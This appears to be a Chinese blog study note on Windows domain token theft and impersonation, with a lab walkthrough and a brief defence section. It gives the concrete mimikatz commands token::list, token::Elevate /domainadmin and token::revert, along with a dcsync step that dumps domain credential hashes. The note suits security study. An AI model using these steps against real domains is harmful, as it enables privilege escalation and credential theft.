• 域内令牌窃取伪造


    一、域内令牌窃取伪造

    1、令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个账户的。获得了令牌,就可以在不提供密码或者其他凭证的情况下访问网络和系统资源。令牌会持续存在于系统内部,除非操作系统重新启动。

    2、令牌最大的特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token)代表访问控制操作主题的系统对象。密保令牌(Security Token)也叫作认证令牌或硬件令牌,是一种用于实现计算机身份校验的物理设备。会话令牌(Session Token)是交互会话的唯一身份标识符。

    3、令牌的种类有两种:

    • Delegation Tokens(授权令牌):支持交互式登录
    • Impersonation Tokens(模拟令牌):支持非交互式登录

    4、令牌的数量取决于我们获取到的Shell的权限级别,权限越高,获取到的令牌数量就越多。如果攻击者伪造管理员的令牌,便可以拥有与它同等的权限。

    5、在普通域用户下进行提权,获取SYSTEM权限后,窃取域管的token,我们就可以获取域控权限。

    二、本地测试

    1、在本地搭建的域模拟环境,用于测试:pc1域控、pc2域主机。

    2、在pc2上执行命令,查看进程及对应的用户名

    tasklist /v

    user2是域普通用户

    3、使用runas 模拟域管运行某个程序,cmd下执行如下命令

    runas /noprofile /user:test.lab\administrator cmd

     

     4、此时,我们再查看进程,存在用户为域管的进程,达到我们的测试条件

     5、窃取域管票据,这里我们使用mimikatz。以管理员权限运行

     我们使用如下命令查看令牌

    1. #mimikatz
    2. token::list

     这里,有一点需要注意,我们使用本地管理员权限或者System权限,则可以查看其他用户令牌,若只使用普通权限执行,则只能看到当前用户令牌,如下图

     查看当前身份

    1. #mimikatz
    2. token::whoami

     模拟域管权限

    1. #mimikatz
    2. token::Elevate /domainadmin

     使用dcsync,此时已成功获取域管权限

    使用如下命令恢复令牌到初始状态

    1. #mimikatz
    2. token::revert

     恢复之后,再次使用dcsync发现已经无法成功获取hash

    三、防御策略

    对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌的实效性应该越短。对于令牌,应该采取加密存储及多重验证保护。使用加密链路SSL/TLS传输令牌,以防止中间人窃听。


    本文原理及防御部分为根据课程整理,在此用于学习记录。如有错误,还多批评。

  • 相关阅读:
    java递归获取所有的子级节点
    idea中取消class文件显示所有方法的显示
    Redis 持久化 - RDB 与 AOF
    2022/7/ 20 训练记录
    php花式读取文件
    高端程序员上班摸鱼指南
    使用小程序制作一个音乐播放器
    nuScenes数据集浅探(待完善……)
    GIT 中 SSH如何获取密钥
    python项目之AI动物识别工具的设计与实现(django)
  • 原文地址:https://blog.csdn.net/prettyX/article/details/126830379